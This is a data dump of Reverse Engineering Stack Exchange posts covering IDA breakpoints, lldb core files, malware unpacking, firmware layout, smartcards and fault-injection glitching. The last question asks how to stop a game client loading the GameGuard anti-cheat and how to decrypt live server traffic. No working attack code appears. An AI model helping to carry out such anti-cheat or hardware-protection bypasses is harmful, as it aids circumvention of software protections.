  <row Id="16598" PostTypeId="1" CreationDate="2017-10-22T15:12:18.333" Score="1" ViewCount="765" Body="&lt;p&gt;With conditional breakpoints I'm able to alter the return value of a function. For example, when setting a breakpoint on the return instruction, the following IDC expression ensures that the function always returns false:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I would like to override the second argument that the function receives with a value of zero. The breakpoint is set on the first instruction of the function (&lt;code&gt;push 1Ch&lt;/code&gt;). Unfortunately, I cannot get the following IDC expression to work as intended:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(ESP+8)=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the function is called, the value located at &lt;code&gt;ESP+8&lt;/code&gt; refers to the size of the buffer that is about to receive a bunch of values. By purposely setting the buffer size to zero, the function won't return any values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure a conditional breakpoint with IDA that sets the value at &lt;code&gt;ESP+8&lt;/code&gt; to zero? And is it possible to do this by simply editing the breakpoint instead of running a script?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have to use IDC functions to write to memory addresses. I&#xA;  recommend write_dbg_memory() function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I still can't get the script to run successfully. When using the &lt;code&gt;write_dbg_memory&lt;/code&gt; function, I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Runtime error at _idc+0x00000022: Attempt to call undefined function 'write_dbg_memory'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also seems that the &lt;code&gt;write_dbg_memory&lt;/code&gt; function that is listed &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_idd-module.html#dbg_write_memory&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1614.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, uses different arguments (long ea, string data).&lt;/p&gt;&#xA;" OwnerUserId="20355" LastEditorUserId="20355" LastEditDate="2017-10-23T18:58:49.217" LastActivityDate="2019-04-16T21:28:43.623" Title="Overriding the second argument with conditional breakpoints" Tags="|ida|debugging|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16599" PostTypeId="1" CreationDate="2017-10-22T16:17:02.307" Score="2" ViewCount="1426" Body="&lt;p&gt;Given I've opened core file via &lt;code&gt;lldb&lt;/code&gt;, how can I check which thread crashed?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ lldb -c core.45583 -o 'bt all' | grep -A2 'thread #'&#xA;* thread #1, stop reason = signal SIGSTOP&#xA;  * frame #0: 0x00007fffc6b7641a libsystem_kernel.dylib`mach_msg_trap + 10&#xA;    frame #1: 0x00007fffc6b75867 libsystem_kernel.dylib`mach_msg + 55&#xA;--&#xA;  thread #2, stop reason = signal SIGSTOP&#xA;    frame #0: 0x00007fffc6c65214 libsystem_pthread.dylib`start_wqthread&#xA;--&#xA;  thread #3, stop reason = signal SIGSTOP&#xA;    frame #0: 0x00007fffc6b7641a libsystem_kernel.dylib`mach_msg_trap + 10&#xA;    frame #1: 0x00007fffc6b75867 libsystem_kernel.dylib`mach_msg + 55&#xA;--&#xA;  thread #4, stop reason = signal SIGSTOP&#xA;    frame #0: 0x00007fffc6b7dc12 libsystem_kernel.dylib`__pselect + 10&#xA;    frame #1: 0x00007fffc6b7a815 libsystem_kernel.dylib`pselect$1050 + 82&#xA;--&#xA;  thread #5, stop reason = signal SIGSTOP&#xA;    frame #0: 0x00007fffc6bd368b libsystem_malloc.dylib`get_tiny_previous_free_msize + 59&#xA;    frame #1: 0x00007fffc6be83b6 libsystem_malloc.dylib`tiny_free_no_lock + 80&#xA;...&#xA;  thread #19, stop reason = signal SIGSTOP&#xA;    frame #0: 0x00007fffc6163b69 libobjc.A.dylib`objc_msgSend + 41&#xA;    frame #1: 0x00007fffb0d002a2 CFNetwork`HTTPResponseMessage::setResponseURL(__CFURL const*, unsigned char) + 66&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it seems all the threads have &lt;code&gt;SIGSTOP&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="12021" LastEditDate="2017-10-22T16:23:47.307" LastActivityDate="2018-02-20T13:45:23.427" Title="How to check which thread crashed?" Tags="|lldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16600" PostTypeId="1" AcceptedAnswerId="16644" CreationDate="2017-10-22T20:19:53.997" Score="4" ViewCount="1209" Body="&lt;p&gt;recently i got my hands on one sample that self-modifies its &lt;code&gt;.text&lt;/code&gt; section. So, I placed a breakpoint on &lt;code&gt;.text&lt;/code&gt; section on write operation and then continued. I found out that it zeroes out the &lt;code&gt;.text&lt;/code&gt; section and then writes the decrypted code to that section and then makes a call to the decrypted OEP. I used Scylla to correct the OEP and dump the &lt;code&gt;.exe&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/prlmd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/prlmd.png&quot; alt=&quot;Scylla_output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i get the imports it shows that the program only imports &lt;code&gt;kernel32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zDYzc.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zDYzc.png&quot; alt=&quot;PEBear_output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the assembly of the dumped &lt;code&gt;.exe&lt;/code&gt; file in the &lt;code&gt;PEBear&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rMf0h.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rMf0h.png&quot; alt=&quot;ImmunityDBG_output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get when i try to open the dumped file in &lt;code&gt;ImmunityDbg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The imports i get are also very different from what &lt;code&gt;Scylla&lt;/code&gt; gave me + The dumped program does not run it crashes right away. What am i doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2017-10-27T19:16:52.837" Title="Reversing Self-Modifying Malware" Tags="|disassembly|ollydbg|malware|unpacking|immunity-debugger|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16602" PostTypeId="2" ParentId="16597" CreationDate="2017-10-23T08:23:48.737" Score="2" Body="&lt;p&gt;Most of the commonly used iOS frameworks do not exist as separate files anymore but are bundled together in the &lt;a href=&quot;http://iphonedevwiki.net/index.php/Dyld_shared_cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;dyld shared cache&lt;/a&gt;.  MobileCoreServices is also one of such frameworks.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-23T08:23:48.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16603" PostTypeId="2" ParentId="16599" CreationDate="2017-10-23T12:58:01.493" Score="1" Body="&lt;p&gt;It seems &lt;a href=&quot;https://developer.apple.com/library/content/technotes/tn2124/_index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;it should be the one with  &lt;code&gt;mach_msg_trap&lt;/code&gt;&lt;/a&gt; but looks like you'll need to do some hex dump hunting to recover the real call stack...&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-23T12:58:01.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16604" PostTypeId="2" ParentId="16598" CreationDate="2017-10-23T13:22:44.050" Score="2" Body="&lt;p&gt;You can use IDC functions to write to memory addresses.&#xA;I recommend &lt;code&gt;write_dbg_memory()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;write_dbg_memory(ESP+8, 0, size)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually the line/s you put in condition of a breakpoint is also considered as a script which is executed when encountering the &lt;code&gt;BP&lt;/code&gt;. So it has to follow the rules of writing a script. &lt;code&gt;EAX = 0&lt;/code&gt; is a simple line you've used before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If IDC is not working you can use idaapi.dbg_write_memory api. I've tried the following line as a condition and it works fortunately! Choose &lt;strong&gt;&quot;Python&quot;&lt;/strong&gt; for the &lt;strong&gt;&quot;Scriptinng Language&quot;&lt;/strong&gt; menue bar.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;daapi.dbg_write_memory(GetRegValue(&quot;ESP&quot;)+8,&quot;HELLO&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22023" LastEditorUserId="22023" LastEditDate="2017-10-23T20:11:44.637" LastActivityDate="2017-10-23T20:11:44.637" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16606" PostTypeId="2" ParentId="16502" CreationDate="2017-10-23T17:23:12.623" Score="1" Body="&lt;p&gt;That's not a typical checksum at all. You can tell by it's great distance between 1bit changes. It's a CRC. And unless it's a special polynomial you aren't providing all of the data per message (I checked some common polynomials and none matched). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either you're omitting data and it's a standard poly, or you're going to have a write a 8bit and 16bit CRC and try all polynomials, see if you get any hits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the mean being 128 or so... I'd start looking at 8bit CRC and trying polynomials out to 16bits. You'll get a hit soon, but fwiw, I'd check the inverse of the results in case someone thought they were being cute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see SAEJ1850 vs SAEJ1850&quot;ZERO&quot; for changing the IV before starting the CRC.&lt;/p&gt;&#xA;" OwnerUserId="21976" LastEditorUserId="21976" LastEditDate="2017-10-23T17:29:28.453" LastActivityDate="2017-10-23T17:29:28.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16607" PostTypeId="1" CreationDate="2017-10-23T18:51:50.287" Score="0" ViewCount="701" Body="&lt;p&gt;My question is: What do I need to know in order to reverse-engineer software on Windows? I have knowledge of Assembly already and now what else I need to learn? Also, can you recommend any book/resource to learn from? &#xA;(I have found some resources about reversing from The Legend of R4ndom. What do you think about these?)&lt;/p&gt;&#xA;" OwnerUserId="22011" LastActivityDate="2017-10-24T01:00:06.633" Title="What do I need to know in order to reverse-engineer software on Windows?" Tags="|windows|x86|" AnswerCount="1" CommentCount="1" ClosedDate="2017-10-31T07:30:15.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="16608" PostTypeId="1" CreationDate="2017-10-23T23:01:49.313" Score="1" ViewCount="154" Body="&lt;p&gt;I was looking at the paper: &quot;Improved Detection for Advanced Polymorphic Malware&quot; by James Fraley who claimed to have used static, dynamic and file properties for increased malware detection. But is file property not a static feature?&lt;/p&gt;&#xA;" OwnerUserId="22035" LastActivityDate="2017-10-24T01:27:32.420" Title="What are the overall features used in static analysis of malware? Is file property among the features used in static analysis of malware?" Tags="|malware|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16609" PostTypeId="2" ParentId="16607" CreationDate="2017-10-24T01:00:06.633" Score="1" Body="&lt;p&gt;Knowledge on assembly is all you really need to get started. To reverse executables on Window learn the Disassembler (&lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA&lt;/a&gt;) and Debuggers (&lt;a href=&quot;https://developer.microsoft.com/en-us/windows/hardware/download-windbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg&lt;/a&gt;, &lt;a href=&quot;http://ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg&lt;/a&gt;) as well as the Windows API , if you plan to reverse Windows specific software. Crackmes and keygens are great resource for learning and I would recommend &lt;a href=&quot;https://tuts4you.com/download.php?view.3152&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackme.de&lt;/a&gt;, as it contains lots of windows executables.&lt;/p&gt;&#xA;" OwnerUserId="21259" LastActivityDate="2017-10-24T01:00:06.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16610" PostTypeId="2" ParentId="16608" CreationDate="2017-10-24T01:27:32.420" Score="4" Body="&lt;p&gt;The author does not appear to explicitly explain what &quot;file properties&quot; are, but some of the papers cited in relation to &quot;file properties&quot; discuss the role of malware families in machine-learning based approaches to malware detection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that the author does not provide a clear description of what is meant by &quot;file properties&quot; because the term is being used as a &lt;a href=&quot;https://en.wikipedia.org/wiki/Buzzword&quot; rel=&quot;nofollow noreferrer&quot;&gt;buzzword&lt;/a&gt; (&quot;Static analysis, dynamic analysis &lt;em&gt;and&lt;/em&gt; file properties? How exciting and novel!&quot;) such that it has no real technical meaning and is employed to draw attention to some aspect of the research deemed new or original. This seems to happen frequently in research investigating applications of machine learning to information security challenges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/acLQ1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/acLQ1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of the papers cited in relation to the author's use of the term &quot;file properties&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ieeexplore.ieee.org/abstract/document/969588/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subramanya, S. R., &amp;amp; Lakshminarasimhan, N. (2001). Computer viruses. IEEE Potentials, 20(4), 18–21&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ieeexplore.ieee.org/document/7440587/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hansen, S. S., Mark, T., Larsen, T., Stevanovic, M., &amp;amp; Pedersen, J. M. (2016). An Approach for Detection and Family Classification of Malware Based on Behavioral Analysis. 2016 International Conference on Computing; Networking and Communications (ICNC), (February), 1–5.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dl.acm.org/citation.cfm?id=2381910&quot; rel=&quot;nofollow noreferrer&quot;&gt;Singh, A., Walenstein, A., &amp;amp; Lakhotia, A. (2012). Tracking concept drift in malware families. Proceedings of the 5th ACM Workshop on Security and Artificial Intelligence - AISec ’12, 81–92.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Text of interest from page 79:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Manipulate feature set – the standard feature dataset was augmented to evaluate whether detection rates are improved after the intervention of features. A number of studies examined dynamic analysis (Rieck, Trinius, Willems, &amp;amp; Holz, 2011), static analysis (Kerchen et al., 1990) and file properties (&lt;a href=&quot;http://ieeexplore.ieee.org/abstract/document/969588/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subramanya &amp;amp; Lakshminarasimhan, 2001&lt;/a&gt;). The study examined three multidimensional datasets. The three datasets were generated by combining known malware, known benign and unknown samples into single feature dataset. Once the baseline was generated, the feature weighting was manipulated to see if detection rates would improve (Siddiqui, 2008). &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Text of interest from page 99:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Polymorphic malware may call libraries or use functions available through the operating system such as Microsoft’s dynamic link libraries (DLLs) (Egele, Scholte, Kirda, &amp;amp; Kruegel, 2012). The intended use or abuse of such functions by malware can be linked to file properties of the malware itself (&lt;a href=&quot;http://ieeexplore.ieee.org/document/7440587/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hansen et al., 2016&lt;/a&gt;). Therefore, experiments conducted during this phase, added various features from file properties to those of dynamic-static occurrence tests performed previously. Previous research has shown that there exists a number of “metadata” properties that can be used for malware detection (Kamongi, Kotikela, Kavi, Gomathisankaran, &amp;amp; Singhal, 2013) and (&lt;a href=&quot;https://dl.acm.org/citation.cfm?id=2381910&quot; rel=&quot;nofollow noreferrer&quot;&gt;A. Singh et al., 2012&lt;/a&gt;). This study found similar results. This study performed extended static to dynamic occurrence testing with all three advanced clustering algorithms (MB, IBk and DLMLP).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-10-24T01:27:32.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16611" PostTypeId="1" AcceptedAnswerId="16615" CreationDate="2017-10-24T01:44:18.930" Score="2" ViewCount="648" Body="&lt;p&gt;It appears there is more than just flash memory on Smartcards.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably there is also some sort of microprocessor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then along comes this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://arstechnica.com/information-technology/2017/10/crippling-crypto-weakness-opens-millions-of-smartcards-to-cloning/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Crippling crypto weakness opens millions of smartcards to cloning&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Millions of smartcards in use by banks and large corporations for more than a decade have been found to be vulnerable to a crippling cryptographic attack. That vulnerability allows hackers to bypass a wide range of protections, including data encryption and two-factor authentication.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The critical vulnerability, which researchers disclosed last week, allows attackers to derive the private portion of any vulnerable key using nothing more than the corresponding public portion. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The so-called factorization attack can be completed in minutes or days, and the price can range from nothing, depending on the key size and type of computer an attacker uses, to $20,000. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The vulnerability stems from a widely deployed library developed by German chipmaker Infineon, which in turn sells its hardware and software to third-party smartcard and device manufacturers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The defect has now been confirmed to affect the first line of Gemalto IDPrime.NET smartcards. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The cards have been on the market since 2004 at the latest, when Gemalto predecessor Axalto announced Microsoft employees were using the card to secure access to the software maker's network, by, among other things, providing two-factor authentication to company employees worldwide. During the 12 years the cards are known to have been in use, Netherlands-based Gemalto has shipped cards numbering in the millions or even the tens or hundreds of millions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The question is in the title:  How does a Smartcard work?&lt;/p&gt;&#xA;" OwnerUserId="18580" LastActivityDate="2017-10-24T19:34:01.280" Title="How does a Smartcard work?" Tags="|encryption|smartcards|" AnswerCount="1" CommentCount="4" ClosedDate="2017-10-24T19:32:43.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="16612" PostTypeId="1" AcceptedAnswerId="16617" CreationDate="2017-10-24T05:08:30.577" Score="4" ViewCount="2820" Body="&lt;p&gt;&lt;strong&gt;Imagine this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a binary for a piece of ARM firmware. You are nearly 100% it is ARM, and that it runs on the bare metal. You obtained this firmware from a manufacturers update page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you are uncertain of the exact model of chip the binary is intended for. You are unable to find the developer's guide or spec sheet for the chip. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary has no known headers, and research suggests that it is not compressed or encrypted. The large section of strings at the bottom of the binary suggests it is a single flat binary file, and not several records compressed together. There are no indications of a file system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should reasonably be able to disassemble the code but a few factors are missing to prevent you from retrieving control-flow, and creating a sensical disassembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You do not know where the initial entry point is. &#xA;2) You do not know if there is a ram section, and what address it might start and end at. &#xA;3) You do not know if there is a rom section, and what address it might start and end at.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given these, or similar circumstances, how might a reverse engineer deduce the initial entry point, and location/size of areas like ROM? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine detecting reads and writes from a memory mapped chip of some sort would be possible to infer from a valid disassembly, just by highlighting common memory regions which are frequently referenced, and classifying them into sections. I am hoping someone has come up with an automated method for this sort of analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E.G&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The range 0x7-0x9 is frequently referenced. It may be ROM. The highest address is 0x7998, the area appears to occupy 8 Mbs.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other area, identifying the entry point, has stumped me so far. Without the documentation for the chip is it possible to infer the initial entry point of the code? This is especially frustrating on chips where the bootloader appears to be stored in ROM separate from the main firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the structure of such a firmware image be implied without developer documentation?  &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2017-10-25T19:56:39.867" Title="Is there a method for &quot;guessing&quot; the addresses for unknown areas in bare metal firmware binaries?" Tags="|disassembly|firmware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16613" PostTypeId="2" ParentId="16612" CreationDate="2017-10-24T07:46:29.280" Score="3" Body="&lt;p&gt;I cover some of this in my &lt;a href=&quot;http://www.hexblog.com/?p=130&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recon 2010 presentation&lt;/a&gt; (starting around page 48).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize the approaches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;self-relocating code which copies itself to expected location&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;initialization code which contains references to expected run-time addresses&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;jump tables with absolute addresses&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;string tables (tables of addresses) matched against actual strings in the binary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;symbol tables (if you're lucky)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-24T07:46:29.280" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16614" PostTypeId="1" CreationDate="2017-10-24T17:33:51.133" Score="0" ViewCount="199" Body="&lt;p&gt;&lt;em&gt;Glitch method:&lt;/em&gt; irrelevant for topic of conversation, assume clock injection, voltage glitch, EMFI, &quot;lasers&quot;, whatever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Device:&lt;/em&gt; For example modern ARM or PPC, or MIPS micros. Assuming you can run code locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can the memory protection units, DMA protections, JTAG limits/protections be accessed improperly with glitching methods? Or is this an avenue that is futile to look into?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wide topic I know. But are memory and device protections &lt;strong&gt;typically&lt;/strong&gt; hard coded into the &quot;fabric&quot; of a micro where literally the JTAG or DMA CANNOT access this region of memory because there are no &quot;wires&quot; to those regions or are these things state machines and &quot;rules&quot;/&quot;allowances&quot; programmed in? If a DMA or MPU unit can access a protected region, can a well timed glitch help make the decision to expose that data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you see a chip has XYZ protections, given the physical constructions of modern chips, how accurate are datasheet claims of memory protection - assuming you have access to run code on a device itself. Or is the process that pulls and delivers a memory request immutable even if you messed with the specs of a chip?&lt;/p&gt;&#xA;" OwnerUserId="21976" LastActivityDate="2017-10-24T20:12:55.900" Title="Can JTAG and memory protections be glitched over? (regarding silicon construction of a micro)" Tags="|jtag|protection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16615" PostTypeId="2" ParentId="16611" CreationDate="2017-10-24T18:18:32.623" Score="1" Body="&lt;p&gt;According to the Smartcard Alliance, Smartcards are functionally identical to SIM cards as used in cellphones and tablets, as described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.smartcardalliance.org/smart-cards-intro-primer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smart Card Primer&lt;/a&gt; (smartcardalliance.org)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A smart card is a device that includes an embedded integrated circuit&#xA;  chip (ICC) that can be either a secure microcontroller or equivalent&#xA;  intelligence with internal memory or a memory chip alone. The card&#xA;  connects to a reader with direct physical contact or with a remote&#xA;  contactless radio frequency interface. With an embedded&#xA;  microcontroller, smart cards have the unique ability to store large&#xA;  amounts of data, carry out their own on-card functions (e.g.,&#xA;  encryption and mutual authentication) and interact intelligently with&#xA;  a smart card reader. Smart card technology conforms to international&#xA;  standards (ISO/IEC 7816 and ISO/IEC 14443) and is available in a&#xA;  variety of form factors, including plastic cards, fobs, subscriber&#xA;  identity modules (SIMs) used in GSM mobile phones, and USB-based&#xA;  tokens.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As @SYS_V rightfully pointed out, the answer is given in depth here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15011/how-does-a-sim-card-work&quot;&gt;How does a SIM card work?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18580" LastEditorUserId="18580" LastEditDate="2017-10-24T19:34:01.280" LastActivityDate="2017-10-24T19:34:01.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16616" PostTypeId="1" AcceptedAnswerId="16622" CreationDate="2017-10-24T19:32:08.337" Score="1" ViewCount="1040" Body="&lt;p&gt;I'm not new to MMO Server Emulation, but I am new to working with a protected Client, and have very basic RCE skills. I would appreciate some direction, and maybe this won't be possible, given the requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target is Uncharted Waters Online, now published by Papaya Play, utilizing GameGuard (instead of X-Trap, as the previous publisher).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two Priorities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Prevent the Client from loading or attempting to refer to GameGuard.&lt;/li&gt;&#xA;&lt;li&gt;Understand the client-server communication through Packet Analysis. Obviously, impossible with Encrypted Packets.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How entrenched is GameGuard? Will simply bypassing the loading routines be enough?? Or must I allow it to load, but Bypass all the functions that it alters? Obviously, I would like the Client to not have to load GameGuard when accessing the Emulated Server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Encrypted Packets. A major task will be to see the unencrypted packet contents while connected to Live Servers. Does anyone have experience with this? My thoughts are to find and detour the encryption and decryption functions, to output the raw packet information somewhere else. Is this a viable approach? Is this practical, or is there an easier way for me to understand the network communication?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks all. All I'm looking for is an approach. I can research on my own how to achieve that, but at this point, I don't know enough about GameGuard and Reversing Packet Encryption to know where to start.&lt;/p&gt;&#xA;" OwnerUserId="22044" LastActivityDate="2017-10-25T20:43:40.227" Title="Emulation Project - GameGuard Protected Client" Tags="|encryption|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
